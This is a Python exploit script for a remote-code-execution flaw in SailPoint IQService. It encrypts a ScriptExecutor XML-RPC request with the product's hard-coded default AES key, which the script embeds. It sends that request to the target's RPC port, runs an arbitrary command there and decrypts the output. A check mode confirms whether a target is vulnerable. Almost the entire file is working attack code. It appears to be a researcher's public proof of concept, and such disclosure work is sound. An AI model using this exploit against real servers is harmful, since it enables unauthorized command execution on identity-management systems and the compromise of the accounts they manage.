set_sail.py

#!/usr/bin/env python3

########################################################################################################################
# SailPoint IQService up to and including version IQService-Feb-2025 is affected by a Remote Code Execution
# vulnerability. The default configuration for the IQService RPC Server relies on a hard-coded encryption key to prevent
# unauthorized requests. User authentication is not required by default. An attacker who knows this key can send a
# crafted request to the service to execute arbitrary code. Due to the application's role in Identity and Access
# Management, additional requests can be used to compromise managed accounts beyond the application itself.
########################################################################################################################
# Title: SailPoint IQService - RCE via Default Encryption Key
# Researcher: Jason Juntunen (@missing0x00) https://github.com/missing0x00
# Software Link: https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/intro.html
# Version: SailPoint IQService-Feb-2025
########################################################################################################################

import argparse
import logging
import re
import socket
import ssl
import sys
from base64 import b64encode, b64decode
from xml.sax.saxutils import escape,unescape

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

try:
    import coloredlogs
except ImportError:
    coloredlogs = None


global args
global log


def do_decrypt(**kwargs):
    """Base64 decode, extract IV, AES decrypt"""
    enc_bytes = kwargs['enc_bytes']
    key = kwargs['key']
    enc_bytes_str = str(enc_bytes)

    log.info(f'Decrypting {kwargs["label"]}')
    log.debug(kwargs)

    decoded_string = b64decode(enc_bytes)

    try:
        iv = decoded_string[:16]  # First 16 bytes == IV
        decoded_string = decoded_string[16:]

        aes = AES.new(key, AES.MODE_CBC, iv)
        decrypted_bytes = unpad(aes.decrypt(decoded_string), 16)

        return decrypted_bytes

    except Exception as e:
        log.error(enc_bytes_str + ' | Decrypt failure | ' + str(e))
        pass


def do_encrypt(clear_bytes, key, iv, **kwargs):
    """AES encrypt bytes, prepend IV, base64 encode"""
    log.info(f'Encrypting {kwargs["label"]}')
    log.debug(f'{clear_bytes}, {key}, {iv}')

    aes = AES.new(key, AES.MODE_CBC, iv)
    log.debug(f'Key: {key} Bytes: {clear_bytes}')
    log.debug(f'Padded bytes: {pad(clear_bytes, 16)}')
    encrypted = iv + aes.encrypt(pad(clear_bytes, 16))

    encoded = b64encode(encrypted).decode()
    log.debug(f'Encrypted_Base64: {encoded}')

    return encoded


def build_payload(**kwargs):
    """Create RpcRequest and RPC header, encrypt and encode, return final payload"""
    log.info('Building payload...')
    log.debug(kwargs)

    if args.check and args.check is True:
        # Send DoNothing XML to only verify encryption
        xml_str = '<RpcRequest service="ADConnector" method="DoNothing" version="1.0"/>'
        log.warning(f'Sending DoNothing request')
    elif args.xml:
        # Use provided XML file for XML-RPC request
        xml_str = open(args.xml, "r").read()
        log.warning(f'Sending XML-RPC payload from {args.xml}')
    else:
        command = kwargs['command']
        request_id = '0000000000000000'

        output_file = f'Script_{request_id}.tmp'        # Output filename, server should delete after running
        script_source = f'{command}>{output_file}&0'    # Intentionally cause error with "&0" to get output
        log.warning(f'Full command: {script_source}')
        script_source = escape(script_source)           # Escape special XML chars

        # XML RpcRequest for command execution
        xml_str = \
            f'''<RpcRequest service="ScriptExecutor" method="runBeforeScript" requestId="{request_id}">
                    <Arguments>
                        <Map>
                            <entry key="Application"><value><Attributes/></value></entry>
                            <entry key="preScript">
                                <value>
                                    <Rule>
                                        <Source>{script_source}</Source>
                                    </Rule>
                                </value>
                            </entry>
                            <entry key="Request"><value><AccountRequest/></value></entry>
                        </Map>
                    </Arguments>
                </RpcRequest>'''

    xml_bytes = bytes(xml_str, "utf8")
    log.debug(f'Payload XML: {xml_bytes}')

    key = kwargs['key']
    iv = kwargs['iv']
    enc_xml = do_encrypt(clear_bytes=xml_bytes, key=key, iv=iv, label="xml_bytes")

    # RPC PayloadHeader: packetId, version, type, payloadSize
    payload_length = str(len(enc_xml)).zfill(10)
    header = f'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, 2.0, rpc, {payload_length}'
    header = bytes(header, 'utf-8')

    # Same key for both to keep it simple
    enc_header = do_encrypt(clear_bytes=header, key=key, iv=iv, label="payload_header")
    enc_session_key = do_encrypt(clear_bytes=key, key=key, iv=iv, label="session_key")
    enc_key_len = str(len(enc_session_key)).zfill(4)

    # Combine everything into the final payload
    # Start with 'C' or '$' to indicate CBC
    payload_string = f'C{enc_key_len}{enc_session_key}{enc_header}\n{enc_xml}'
    log.debug(f'Payload string: {payload_string}')
    payload_bytes = bytes(payload_string, 'utf-8')

    return payload_bytes


def process_response(response, key, **kwargs):
    """Split and decrypt response using server-provided key"""
    log.info('Response received, processing...')

    try:
        enc_response_header, enc_response_body = response.split(b'\r\n', 1)
        log.debug(b'Encrypted response header: ' + enc_response_header)
        log.debug(b'Encrypted response body: ' + enc_response_body)

        # Decrypt header portion using key
        decrypted_header = do_decrypt(enc_bytes=enc_response_header, key=key, label='response_header', **kwargs)
        # Use decrypted header as new key for body
        decrypted_body = do_decrypt(enc_bytes=enc_response_body, key=decrypted_header, label='response_body', **kwargs)

    except Exception as e:
        log.error(e)
        log.debug(b'Full response: ' + response)
        decrypted_body = do_decrypt(enc_bytes=response, key=key, label='full_response_body', **kwargs)
        pass

    if args.check and args.check is True:
        if decrypted_body is not None and b'RpcResponse' in decrypted_body:
            log.debug(f'decrypted_body: {decrypted_body}')
            print(f'VULNERABLE\t{args.target}:{args.port}')
        else:
            log.error('Unexpected response, may not be vulnerable')
        sys.exit()

    body_str = decrypted_body.decode("utf8")
    log.warning(body_str)

    if '<String>' in body_str:
        response_str = re.split('<String>|</String>', body_str)[1]
    else:
        response_str = body_str

    return response_str


def do_exploit(**kwargs):
    """Execute command on target using ScriptExecutor"""
    command = kwargs['command']
    use_ssl = kwargs['use_ssl']

    # Build and encrypt payload
    payload = build_payload(**kwargs)
    payload_size = len(payload)

    # Open TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    if use_ssl:
        s = ssl.wrap_socket(s)
    try:
        s.connect((args.target, args.port))
    except Exception as e:
        log.error(e)
        raise sys.exit()

    # Send prepared payload to RPC server
    log.info('Sending RpcRequest')
    log.warning(f'{str(payload_size)} bytes to tcp://{args.target}:{args.port}')
    s.send(payload)

    # Receive response from RPC server
    response = b''
    while True:
        try:
            r = s.recv(4)
            if not r:
                break
            response += r
        except Exception as e:
            log.error(e)

    # Decrypt and parse response
    processed_response = process_response(response, key=args.key)

    # Command output follows "Before Script returned non-zero exit code : 1 : "
    # Results may also be XML character encoded
    if ': 1 :' in processed_response:
        cmd_out = re.split(': 1 :', processed_response)[1]
        cmd_out = unescape(cmd_out.strip())
        print(f'>>> {command}\n{cmd_out}')
    else:
        log.error(processed_response)
        cmd_out = processed_response

    return cmd_out


def configure_logging(verbosity):
    global log

    log = logging.getLogger(__name__)
    log_level = {
        0: logging.ERROR,
        1: logging.WARNING,
        2: logging.INFO,
        3: logging.DEBUG
    }
    log.setLevel(log_level[verbosity])
    if coloredlogs:
        coloredlogs.install(logger=log, level=log_level[verbosity],
                        fmt="%(asctime)s | %(lineno)s:%(funcName)s() | %(message)s")
    else:
        log.warning(f'For more logging: pip3 install coloredlogs')


def main():
    global args

    default_key_str = '445a343241355532424f503057543256'
    default_iv_str = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

    parser = argparse.ArgumentParser(add_help=True)
    parser.add_argument('target', help='Target server address', type=str)
    parser.add_argument('-p', dest='port', help='Target IQService RPC port (default: %(default)s)', type=int,
                        default='5050')
    parser.add_argument('-c', dest='command', help='Command to run (default: %(default)s)', type=str, default='whoami', nargs='?')
    parser.add_argument('-k', dest='key', help='AES key as hex string (default: %(default)s)',
                        default=default_key_str, type=str, nargs='?')
    parser.add_argument('-i', dest='iv', help='AES IV as hex string (default: %(default)s)',
                        default=default_iv_str, type=str, nargs='?')
    parser.add_argument('--ssl', dest='use_ssl', help='Use SSL/TLS for TCP connection', action='store_true')
    parser.add_argument('--check', dest='check', help='Send test payload to verify default key', action='store_true')
    parser.add_argument('-x', dest='xml', help='XML file for custom RPC payload', type=str)
    parser.add_argument('-v', dest='verbosity', action='count', default=0,
                        help="Increase output verbosity, use -vv or -vvv for more (requires coloredlogs)")
    parser.set_defaults(func=do_exploit)

    try:
        args = parser.parse_args()

        configure_logging(args.verbosity)
        log.debug(args)

        args.key = bytes.fromhex(args.key)
        args.iv = bytes.fromhex(args.iv)

        args.func(**vars(args))
    except Exception as e:
        log.critical(e)
        sys.exit(0)


if __name__ == "__main__":
    main()